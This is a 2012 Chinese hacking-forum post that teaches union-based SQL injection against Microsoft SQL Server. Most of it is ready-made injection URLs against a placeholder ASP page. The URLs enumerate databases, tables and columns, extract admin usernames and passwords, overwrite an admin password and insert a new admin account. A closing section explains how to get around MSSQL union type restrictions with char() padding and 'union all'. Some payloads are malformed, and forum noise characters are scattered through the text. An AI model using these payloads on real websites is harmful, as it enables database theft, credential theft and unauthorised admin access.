找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1895|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:
8 o; k4 o" \; M3 G& w* Yhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
7 h" U$ m- _4 N3 u( L+ c- ESELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
+ B8 q2 ]$ u8 P8 ]) {( i' e) l. g爆下一个库:
# Z* I( Q% c3 t( _/ `: ~' n$ mhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--4 k# ]0 }( g/ t9 o7 D& p; L
  X3 I) ]  C5 [& t9 ^0 X! |
爆表:' v9 R' _, {- z$ D. j$ E! q
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--4 a" E+ Z. \3 X8 H2 n" j- C

4 K, M; E, U4 p" C: M5 ISELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
0 x) q3 y- c+ P/ o% M: K0 G+ h2 {4 P& Z  ]0 l
爆下一个表
. F/ C* Z# P! r/ F' |/ o! V5 P6 Qhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
# B) z; H5 p0 w9 [
1 ~* c* J" a- b* Lhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--1 e6 m' l2 d$ D: n$ u! a# K2 G

! U0 P% b  e  M( c$ T
2 g, k6 l* P, Q; u
: q$ N! ]7 k: `+ a$ R爆字段:3 a( R' k3 l* A$ W
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--  ]# \3 a; m& x7 ]# Q* e9 Z

6 _* |( o$ W! x5 O爆下一个字段9 q& Z4 P' J* R
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--" p; j( q8 O8 t( f  Q
& T; _6 k5 Y% }
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
' B" O5 i4 f% [5 R& z* [5 E; m7 {  s& Q8 O
/ p: r5 c! m% K% n+ C* D( g
爆字段里的内容  z0 h3 ~5 `  E3 \
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--0 V, E0 O  b% V( [! f

9 _5 @& ~- x5 s. Z3 Z# d/ q8 ihttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--. f. |% }% r  F, |

+ f. ~% K4 n( `# c" u3 b3 Chttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
3 N+ H& Z2 _% s1 g
/ y. o9 j$ f1 [6 A0 I9 {http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
3 a* ?* x% g; H; B( {& g2 i. ^
- k1 f6 K& Y3 T3 n8 g. b更新字段里的内容9 j8 n/ Y' @, Q  f
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--! F( }% j/ u  s6 a# ?0 U) P

' ?8 ?7 A0 [, s4 B0 v1 R) nhttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--9 e8 [8 s' d, M0 O3 `( h

' f3 y  n+ Q8 H: G. J9 e' A# b9 S( [
6 Z1 N; d+ d& p; D
        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。  x9 s% t! K8 R* \1 H+ l- Z0 T
    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
3 T# u# A% y/ b# z    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。7 L" Q6 X1 L+ G: L. B( c/ ^, t" i0 Z
    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
' l$ y+ L5 L9 R- s+ W
, `8 c6 F7 R! p$ V, P7 `) q* P% x突了了大部份限制的语句
7 G' `3 l: ~! Z+ i5 Y# Gand 1=2 union all select char(49),char(50),null,null;--
5 w5 a/ {+ A1 ~* J4 S8 d0 d, E' u) d: V: S2 }' d- _7 c
9 K% k2 B  k* N) e
null也可以正常执行,不过没有回显,不好判断回显的列数。$ ^/ f  K  K. |; K& y5 R7 o
一般union遇到问题都是有text或者ntext字段,image的很少遇到
9 t" r3 O! h' z3 O" ?( e# ?3 A+ ^; u) X
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
) ~, w* u: R0 v( C1 f4 G# A( K
+ W1 b; }! E, P+ d
9 C& I$ K+ a6 ~  [4 E1 s6 \' h; h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表